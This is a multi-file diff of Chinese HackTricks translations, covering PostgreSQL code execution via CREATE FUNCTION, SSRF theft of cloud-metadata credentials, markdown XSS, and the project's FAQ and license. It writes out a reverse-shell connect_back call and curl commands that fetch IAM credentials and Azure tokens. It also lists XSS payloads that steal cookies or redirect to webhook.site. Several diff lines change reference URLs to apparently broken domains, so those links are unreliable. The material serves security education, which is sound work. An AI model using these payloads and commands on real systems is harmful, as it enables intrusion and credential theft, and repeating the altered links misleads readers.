||||
尽管有这些限制,经过身份验证的数据库`superuser`仍然可以使用“大型对象”**写入二进制文件**到文件系统中。此功能扩展到在`C:\Program Files\PostgreSQL\11\data`目录中写入,这对于更新或创建表等数据库操作至关重要。
|
||||
尽管有这些限制,经过身份验证的数据库`superuser`仍然可以使用“大型对象”**写入二进制文件**到文件系统。此功能扩展到在`C:\Program Files\PostgreSQL\11\data`目录中写入,这对于更新或创建表等数据库操作至关重要。
|
||||
|
||||
一个显著的漏洞来自于`CREATE FUNCTION`命令,它**允许目录遍历**到数据目录。因此,经过身份验证的攻击者可以**利用这种遍历**将共享库文件写入数据目录,然后**加载它**。这个漏洞使攻击者能够执行任意代码,实现系统上的本地代码执行。
|
||||
|
||||
@ -283,9 +283,9 @@ select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_注意,您不需要附加 `.dll` 扩展名,因为创建函数会自动添加它。_
|
||||
|
||||
有关更多信息 **请阅读**[ **原始出版物在这里**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
|
||||
在该出版物中 **这是** [**用于生成 postgres 扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展,请阅读之前的任何版本_).\
|
||||
在同一页面上提供了 **自动化** 此技术的 **利用**:
|
||||
有关更多信息,请**阅读**[ **原始出版物**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
|
||||
在该出版物中,**这是生成 postgres 扩展的** [**代码**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展,请阅读之前的任何版本_).\
|
||||
在同一页面上,**提供了自动化**此技术的**利用**:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
### 在 AWS EC2 环境中滥用 SSRF
|
||||
|
||||
**元数据** 端点可以从任何 EC2 机器内部访问,并提供有关它的有趣信息。它可以通过以下 URL 访问: `http://169.254.169.254` ([关于元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
**元数据** 端点可以从任何 EC2 机器内部访问,并提供有关它的有趣信息。它可以通过以下 URL 访问:`http://169.254.169.254` ([关于元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
|
||||
元数据端点有 **2 个版本**。**第一个** 版本允许通过 **GET** 请求 **访问** 端点(因此任何 **SSRF 都可以利用它**)。对于 **版本 2**,[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要通过发送带有 **HTTP 头** 的 **PUT** 请求来请求 **令牌**,然后使用该令牌通过另一个 HTTP 头访问元数据(因此用 SSRF 滥用它 **更复杂**)。
|
||||
元数据端点有 **2 个版本**。**第一个** 版本允许通过 **GET** 请求 **访问** 该端点(因此任何 **SSRF 都可以利用它**)。对于 **版本 2**,[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要通过发送带有 **HTTP 头** 的 **PUT** 请求来请求 **令牌**,然后使用该令牌通过另一个 HTTP 头访问元数据(因此用 SSRF 滥用它 **更复杂**)。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,如果 EC2 实例强制执行 IMDSv2,[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html),**PUT 请求的响应** 将具有 **跳数限制为 1**,使得无法从 EC2 实例内部的容器访问 EC2 元数据。
|
||||
@ -88,7 +88,7 @@ aws_access_key_id = ASIA6GG71[...]
|
||||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
注意 **aws_session_token**,这是使配置文件正常工作的必要条件。
|
||||
注意 **aws_session_token**,这是使配置文件正常工作的必需品。
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) 可以与发现的凭据一起使用,以找出您的权限并尝试提升权限。
|
||||
|
||||
@ -102,8 +102,8 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
> [!NOTE]
|
||||
> 请注意,在**某些情况下**,您将能够从容器访问**EC2元数据实例**(请检查之前提到的IMDSv2 TTL限制)。在这些场景中,您可以从容器访问容器的IAM角色和EC2的IAM角色。
|
||||
> [!TIP]
|
||||
> 注意在**某些情况下**,您将能够从容器访问**EC2元数据实例**(请检查之前提到的IMDSv2 TTL限制)。在这些场景中,您可以从容器访问容器的IAM角色和EC2的IAM角色。
|
||||
|
||||
### SSRF for AWS Lambda
|
||||
|
||||
@ -118,7 +118,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
||||
此外,除了IAM凭据外,Lambda函数在启动时还会有**传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并可能包含**敏感**的**信息**(例如在**stageVariables**中)。与IAM凭据不同,这些数据可以通过标准SSRF访问,地址为**`http://localhost:9001/2018-06-01/runtime/invocation/next`**。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,**lambda凭据**在**环境变量**中。因此,如果lambda代码的**堆栈跟踪**打印环境变量,则可能会通过在应用中引发错误来**外泄它们**。
|
||||
> 注意**lambda凭据**在**环境变量**中。因此,如果lambda代码的**堆栈跟踪**打印环境变量,可能会通过在应用中引发错误来**外泄它们**。
|
||||
|
||||
### SSRF URL for AWS Elastic Beanstalk
|
||||
|
||||
@ -127,7 +127,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
然后我们从 API 中获取 `AccessKeyId`、`SecretAccessKey` 和 `Token`。
|
||||
然后我们从API中获取`AccessKeyId`、`SecretAccessKey`和`Token`。
|
||||
```
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
@ -143,9 +143,9 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
||||
|
||||
需要 HTTP 头 **`Metadata-Flavor: Google`**,您可以通过以下 URL 访问元数据端点:
|
||||
|
||||
- http://169.254.169.254
|
||||
- http://metadata.google.internal
|
||||
- http://metadata
|
||||
- [http://169.254.169.254](http://169.254.169.254)
|
||||
- [http://metadata.google.internal](http://metadata.google.internal)
|
||||
- [http://metadata](http://metadata)
|
||||
|
||||
提取信息的有趣端点:
|
||||
```bash
|
||||
@ -323,20 +323,20 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
- **不能**包含 `X-Forwarded-For` 头部
|
||||
|
||||
> [!TIP]
|
||||
> Azure VM 可以附加 1 个系统管理身份和多个用户管理身份。这基本上意味着您可以 **模拟所有附加到 VM 的管理身份**。
|
||||
> Azure VM 可以附加 1 个系统管理身份和多个用户管理身份。这基本上意味着你可以 **模拟所有附加到 VM 的管理身份**。
|
||||
>
|
||||
> 在请求访问令牌到元数据端点时,默认情况下,元数据服务将使用 **系统分配的管理身份** 来生成令牌,如果有任何系统分配的管理身份。如果只有 **一个用户分配的管理身份**,则默认使用该身份。然而,如果没有系统分配的管理身份,并且有 **多个用户分配的管理身份**,则元数据服务将返回一个错误,指示有多个管理身份,并且必须 **指定要使用的身份**。
|
||||
> 在请求访问令牌到元数据端点时,默认情况下,元数据服务将使用 **系统分配的管理身份** 来生成令牌,如果有任何系统分配的管理身份。如果只有 **一个用户分配的管理身份**,那么这将被默认使用。然而,如果没有系统分配的管理身份,并且有 **多个用户分配的管理身份**,那么元数据服务将返回一个错误,指示有多个管理身份,并且必须 **指定要使用的身份**。
|
||||
>
|
||||
> 不幸的是,我找不到任何元数据端点来指示 VM 附加的所有管理身份,因此从红队的角度来看,找出所有分配给 VM 的管理身份可能是一项艰巨的任务。
|
||||
>
|
||||
> 因此,要找到所有附加的管理身份,您可以执行:
|
||||
> 因此,要找到所有附加的管理身份,你可以:
|
||||
>
|
||||
> - 使用 az cli 获取 **附加身份**(如果您已经在 Azure 租户中攻陷了一个主体)
|
||||
> - 使用 az cli 获取 **附加身份**(如果你已经在 Azure 租户中攻陷了一个主体)
|
||||
>
|
||||
> ```bash
|
||||
> az vm identity show \
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> ```
|
||||
>
|
||||
> - 使用元数据中的默认附加管理身份获取 **附加身份**:
|
||||
@ -346,30 +346,30 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
>
|
||||
> # 从默认管理身份获取令牌
|
||||
> export TOKEN=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
>
|
||||
> # 获取所需的详细信息
|
||||
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
>
|
||||
> # 尝试获取附加的管理身份
|
||||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> ```
|
||||
>
|
||||
> - **获取所有** 在租户中定义的管理身份,并 **暴力破解** 以查看是否有任何身份附加到 VM:
|
||||
> - **获取所有**在租户中定义的管理身份并 **暴力破解** 以查看是否有任何身份附加到 VM:
|
||||
>
|
||||
> ```bash
|
||||
> az identity list
|
||||
> ```
|
||||
|
||||
> [!CAUTION]
|
||||
> 在令牌请求中使用任何参数 `object_id`、`client_id` 或 `msi_res_id` 来指示您想要使用的管理身份 ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。如果没有,将使用 **默认管理身份**。
|
||||
> 在令牌请求中使用任何参数 `object_id`、`client_id` 或 `msi_res_id` 来指示你想要使用的管理身份([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。如果没有,**将使用默认管理身份**。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Bash"}}
|
||||
@ -427,7 +427,10 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Azure 应用程序和功能服务及自动化帐户
|
||||
> [!WARNING]
|
||||
> 请注意,端点 **`http://169.254.169.254/metadata/v1/instanceinfo` 不需要 `Metadata: True` 头部**,这在 Azure 的 SSRF 漏洞中非常重要,因为您无法添加此头部。
|
||||
|
||||
### Azure 应用程序与函数服务及自动化帐户
|
||||
|
||||
从 **env** 中可以获取 **`IDENTITY_HEADER`** 和 **`IDENTITY_ENDPOINT`** 的值。您可以使用这些值来获取与元数据服务器通信的令牌。
|
||||
|
||||
@ -439,7 +442,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
- [https://management.azure.com](https://management.azure.com/)
|
||||
|
||||
> [!CAUTION]
|
||||
> 在令牌请求中使用 `object_id`、`client_id` 或 `msi_res_id` 中的任何参数来指示您想要使用的托管身份([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。如果没有,**将使用默认 MI**。
|
||||
> 在令牌请求中使用 `object_id`、`client_id` 或 `msi_res_id` 中的任何参数来指示您想要使用的托管身份([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。如果没有,**将使用默认的 MI**。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Bash"}}
|
||||
@ -552,23 +555,23 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
||||
|
||||
## Packetcloud
|
||||
|
||||
要访问Packetcloud的元数据,可以在以下位置找到文档:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
要访问 Packetcloud 的元数据,可以在以下位置找到文档:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
未提及需要头部。可以通过以下方式访问元数据:
|
||||
这里没有提到需要头部。可以通过以下方式访问元数据:
|
||||
|
||||
- `http://169.254.169.254/openstack`
|
||||
|
||||
## HP Helion
|
||||
|
||||
这里也未提及需要头部。元数据可以在以下位置访问:
|
||||
这里也没有提到需要头部。元数据可以在以下位置访问:
|
||||
|
||||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
## Oracle Cloud
|
||||
|
||||
Oracle Cloud提供了一系列端点以访问各种元数据方面:
|
||||
Oracle Cloud 提供了一系列端点以访问各种元数据方面:
|
||||
|
||||
- `http://192.0.0.192/latest/`
|
||||
- `http://192.0.0.192/latest/user-data/`
|
||||
@ -577,7 +580,7 @@ Oracle Cloud提供了一系列端点以访问各种元数据方面:
|
||||
|
||||
## Alibaba
|
||||
|
||||
Alibaba提供了访问元数据的端点,包括实例和镜像ID:
|
||||
Alibaba 提供了访问元数据的端点,包括实例和镜像 ID:
|
||||
|
||||
- `http://100.100.100.200/latest/meta-data/`
|
||||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
@ -585,24 +588,24 @@ Alibaba提供了访问元数据的端点,包括实例和镜像ID:
|
||||
|
||||
## Kubernetes ETCD
|
||||
|
||||
Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问示例如下:
|
||||
Kubernetes ETCD 可以保存 API 密钥、内部 IP 地址和端口。访问示例如下:
|
||||
|
||||
- `curl -L http://127.0.0.1:2379/version`
|
||||
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
||||
## Docker
|
||||
|
||||
Docker元数据可以在本地访问,提供了容器和镜像信息检索的示例:
|
||||
Docker 元数据可以在本地访问,以下是获取容器和镜像信息的示例:
|
||||
|
||||
- 通过Docker套接字访问容器和镜像元数据的简单示例:
|
||||
- 通过 Docker 套接字访问容器和镜像元数据的简单示例:
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
- 在容器内,使用curl和Docker套接字:
|
||||
- 在容器内,使用 curl 和 Docker 套接字:
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
|
||||
## Rancher
|
||||
|
||||
可以使用以下方式访问Rancher的元数据:
|
||||
可以使用以下方式访问 Rancher 的元数据:
|
||||
|
||||
- `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
如果你有机会在markdown中注入代码,有几种选项可以在代码被解释时触发XSS。
|
||||
如果你有机会在markdown中注入代码,有几种选项可以用来触发XSS,当代码被解释时。
|
||||
|
||||
### HTML tags
|
||||
|
||||
@ -14,7 +14,7 @@ alert(1)
|
||||
</script>
|
||||
<img src="x" onerror="alert(1)" />
|
||||
```
|
||||
您可以在[hacktricks的主XSS页面](README.md)找到更多示例。
|
||||
您可以在[hacktricks的主要XSS页面](README.md)找到更多示例。
|
||||
|
||||
### Javascript链接
|
||||
|
||||
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
|
||||
```html
|
||||
<!--
|
||||
Fuzzing examples from
|
||||
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
|
||||
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
|
||||
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
|
||||
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
|
||||
-->
|
||||
|
||||
[a](javascript:prompt(document.cookie))
|
||||
@ -97,7 +97,7 @@ Fuzzing examples from
|
||||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[a](javascript:alert('XSS'))
|
||||
\
|
||||
[citelol]: (javascript:prompt(document.cookie))
|
||||
[lol]: (javascript:prompt(document.cookie))
|
||||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||||
[test](javascript://%0d%0aprompt(1))
|
||||
[test](javascript://%0d%0aprompt(1);com)
|
||||
|
||||
@ -1,32 +1,32 @@
|
||||
# HackTricks 值与常见问题解答
|
||||
# HackTricks 值观与常见问题
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## HackTricks 值
|
||||
## HackTricks 值观
|
||||
|
||||
> [!TIP]
|
||||
> 这些是 **HackTricks 项目的价值观**:
|
||||
>
|
||||
> - 为 **所有** 互联网用户提供 **免费** 的 **教育黑客** 资源。
|
||||
> - 黑客是关于学习的,而学习应该尽可能免费。
|
||||
> - 本书的目的是作为一个全面的 **教育资源**。
|
||||
> - **存储** 社区发布的精彩 **黑客** 技术,给予 **原始** **作者** 所有的 **荣誉**。
|
||||
> - **我们不想要其他人的荣誉**,我们只想为大家存储酷炫的技巧。
|
||||
> - 我们还在 HackTricks 中撰写 **我们自己的研究**。
|
||||
> - 在某些情况下,我们将仅在 HackTricks 中写 **技术重要部分的摘要**,并 **鼓励读者访问原始帖子** 以获取更多细节。
|
||||
> - **组织** 书中的所有黑客技术,使其 **更易获取**
|
||||
> - HackTricks 团队为 **仅仅组织内容** 而免费投入了数千小时,以便人们能够 **更快学习**
|
||||
> - 黑客是关于学习的,而学习应该尽可能免费。
|
||||
> - 本书的目的是作为一个全面的 **教育资源**。
|
||||
> - **存储** 社区发布的精彩 **黑客** 技术,并给予 **原作者** 所有的 **荣誉**。
|
||||
> - **我们不想要其他人的荣誉**,我们只想为大家存储酷炫的技巧。
|
||||
> - 我们还在 HackTricks 中撰写 **我们自己的研究**。
|
||||
> - 在某些情况下,我们将仅在 HackTricks 中写出技术的重要部分的 **摘要**,并 **鼓励读者访问原始帖子** 以获取更多细节。
|
||||
> - **组织** 书中的所有黑客技术,使其 **更易获取**。
|
||||
> - HackTricks 团队投入了数千小时的时间,免费 **仅仅是为了组织内容**,以便人们可以 **更快学习**。
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## HackTricks 常见问题解答
|
||||
## HackTricks 常见问题
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **非常感谢这些资源,我该如何感谢你们?**
|
||||
|
||||
您可以在推特上公开感谢 HackTricks 团队将所有这些资源汇集在一起,提及 [**@hacktricks_live**](https://twitter.com/hacktricks_live)。\
|
||||
如果您特别感激,您还可以 [**在这里赞助该项目**](https://github.com/sponsors/carlospolop)。\
|
||||
您可以在推特上公开感谢 HackTricks 团队,提到 [**@hacktricks_live**](https://twitter.com/hacktricks_live)。\
|
||||
如果您特别感激,您也可以 [**在这里赞助该项目**](https://github.com/sponsors/carlospolop)。\
|
||||
并且不要忘记 **在 Github 项目中给个星星!**(在下面找到链接)。
|
||||
|
||||
> [!TIP]
|
||||
@ -42,7 +42,7 @@
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **我可以复制 HackTricks 的一些内容并放在我的博客上吗?**
|
||||
> - **我可以复制一些 HackTricks 的内容并放到我的博客吗?**
|
||||
|
||||
可以,但 **不要忘记提及具体的链接**,内容是从哪里获取的。
|
||||
|
||||
@ -51,7 +51,7 @@
|
||||
> - **我该如何引用 HackTricks 的页面?**
|
||||
|
||||
只要您引用的信息页面的 **链接** 出现即可。\
|
||||
如果您需要 bibtex,可以使用类似的格式:
|
||||
如果您需要 bibtex,您可以使用类似的格式:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -64,7 +64,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **我可以在我的博客中复制所有HackTricks吗?**
|
||||
|
||||
**我不建议这样做**。这对任何人都**没有好处**,因为所有**内容已经在官方HackTricks书籍中免费公开**。
|
||||
**我不建议这样做**。这**对任何人都没有好处**,因为所有**内容已经在官方HackTricks书籍中免费公开**。
|
||||
|
||||
如果你担心它会消失,只需在Github上分叉或下载,如我所说,它已经是免费的。
|
||||
|
||||
@ -76,7 +76,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
如果你认为HackTricks书籍是为了**商业目的**而制作的,你是**完全错误的**。
|
||||
|
||||
我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供欣赏我们工作的可能性**,如果他们愿意。因此,我们提供人们通过[**Github赞助**](https://github.com/sponsors/carlospolop)捐赠给HackTricks的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些**广告**总是放在**可见**但**不干扰学习**过程的地方,以便有人专注于内容。
|
||||
我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供欣赏我们工作的可能性**,如果他们愿意。因此,我们提供人们通过[**Github赞助商**](https://github.com/sponsors/carlospolop)向HackTricks捐款的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些**广告**总是放在不会干扰学习过程的地方,以便让人们在专注于内容时仍能看到。
|
||||
|
||||
你不会发现HackTricks充满了烦人的广告,就像其他内容远不如HackTricks的博客,因为HackTricks不是为了商业目的而制作的。
|
||||
|
||||
@ -84,19 +84,19 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **如果某个HackTricks页面基于我的博客文章但没有引用,我该怎么办?**
|
||||
|
||||
**我们非常抱歉。这不应该发生**。请通过Github问题、Twitter、Discord等告知我们HackTricks页面的链接和你的博客链接,**我们会检查并尽快添加**。
|
||||
**我们非常抱歉。这不应该发生**。请通过Github问题、Twitter、Discord等告知我们HackTricks页面的链接和你的博客链接,**我们会尽快检查并添加引用**。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **如果HackTricks中有我博客的内容而我不想要它,我该怎么办?**
|
||||
> - **如果HackTricks中有我博客的内容而我不希望它在那里,我该怎么办?**
|
||||
|
||||
请注意,在HackTricks中链接到你的页面:
|
||||
|
||||
- 改善你的**SEO**
|
||||
- 内容被**翻译成超过15种语言**,使更多人能够访问这些内容
|
||||
- **HackTricks鼓励**人们**查看你的页面**(有几个人提到,自从他们的某个页面在HackTricks中后,他们的访问量增加了)
|
||||
- **HackTricks鼓励**人们**查看你的页面**(有几个人提到,自从他们的某个页面出现在HackTricks中,他们的访问量增加了)
|
||||
|
||||
然而,如果你仍然希望从HackTricks中删除你博客的内容,请告知我们,我们将**删除所有指向你博客的链接**,以及任何基于它的内容。
|
||||
然而,如果你仍然希望从HackTricks中删除你博客的内容,请告知我们,我们将**删除所有指向你博客的链接**,以及任何基于该内容的内容。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
@ -106,35 +106,35 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
## LICENSE
|
||||
|
||||
Copyright © All rights reserved unless otherwise specified.
|
||||
Copyright © 保留所有权利,除非另有说明。
|
||||
|
||||
#### License Summary:
|
||||
|
||||
- Attribution: You are free to:
|
||||
- Share — copy and redistribute the material in any medium or format.
|
||||
- Adapt — remix, transform, and build upon the material.
|
||||
- Attribution: 你可以自由地:
|
||||
- Share — 以任何媒介或格式复制和重新分发材料。
|
||||
- Adapt — 混合、转变和基于材料进行构建。
|
||||
|
||||
#### Additional Terms:
|
||||
|
||||
- Third-Party Content: Some parts of this blog/book may include content from other sources, such as excerpts from other blogs or publications. The use of such content is done under the principles of fair use or with explicit permission from the respective copyright holders. Please refer to the original sources for specific licensing information regarding third-party content.
|
||||
- Authorship: The original content authored by HackTricks is subject to the terms of this license. You are encouraged to attribute this work to the author when sharing or adapting it.
|
||||
- Third-Party Content: 本博客/书籍的某些部分可能包含来自其他来源的内容,例如其他博客或出版物的摘录。使用此类内容是基于合理使用原则或获得相关版权持有者的明确许可。请参阅原始来源以获取有关第三方内容的具体许可信息。
|
||||
- Authorship: HackTricks创作的原始内容受此许可条款的约束。鼓励在分享或改编时将此作品归功于作者。
|
||||
|
||||
#### Exemptions:
|
||||
|
||||
- Commercial Use: For inquiries regarding commercial use of this content, please contact me.
|
||||
- Commercial Use: 有关此内容商业使用的查询,请与我联系。
|
||||
|
||||
This license does not grant any trademark or branding rights in relation to the content. All trademarks and branding featured in this blog/book are the property of their respective owners.
|
||||
此许可不授予与内容相关的任何商标或品牌权利。所有在本博客/书籍中出现的商标和品牌均为其各自所有者的财产。
|
||||
|
||||
**通过访问或使用HackTricks,您同意遵守本许可证的条款。如果您不同意这些条款,请不要访问此网站。**
|
||||
**通过访问或使用HackTricks,您同意遵守此许可的条款。如果您不同意这些条款,请不要访问此网站。**
|
||||
|
||||
## **免责声明**
|
||||
|
||||
> [!CAUTION]
|
||||
> 本书《HackTricks》仅用于教育和信息目的。本书中的内容是按“现状”提供的,作者和出版商不对本书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性作出任何明示或暗示的陈述或保证。您对这些信息的任何依赖均由您自行承担风险。
|
||||
> 本书《HackTricks》仅用于教育和信息目的。本书中的内容按“原样”提供,作者和出版商不对本书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性作出任何明示或暗示的陈述或保证。因此,您对这些信息的任何依赖均由您自行承担风险。
|
||||
>
|
||||
> 作者和出版商在任何情况下均不对因使用本书而导致的任何损失或损害承担责任,包括但不限于间接或后果性损失或损害,或因数据或利润损失而产生的任何损失或损害。
|
||||
>
|
||||
